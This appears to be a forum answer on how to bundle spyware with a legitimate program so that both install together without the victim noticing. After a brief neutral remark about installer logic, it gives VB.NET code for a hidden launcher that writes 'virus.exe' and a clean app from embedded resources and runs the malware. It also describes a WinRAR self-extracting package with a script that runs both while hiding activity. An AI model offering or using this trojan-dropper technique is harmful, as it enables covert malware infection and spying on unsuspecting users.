Solution 1

You can include your exe in the installer. The installer has options to run programs (or scripts or ...) in different phases of the product installation. You can have the installer leave (or not) your exe on the system as part of the installation.

Read up on installer logic.

There are many solutions to install your spyware simultanously with another application.

1. You can mount both, spyware and clean application in Resources on VBNET or C#.
you can program at run time to execute both apps on the same time.
Set the App's State to Hidden(Me.Hide())
In Load Event write;
IO.File.WriteAllBytes("C:\virus.exe", My.Resources.virus)
IO.File.WriteAllBytes("C:\cleanApp.exe", My.Resources.cleanApp)
Process.Start("C:\virus.exe")

2. Winrar also gives a possibility to mount files, in this case executables, which they will decompressed at run time(there are many option like hide activity, ...)
You have to mount a script, which you have also to include on the package. And on the script you write to execute the virus.exe and cleanApp.exe
I prefer VBScript, its very powerfull in case you dont know it
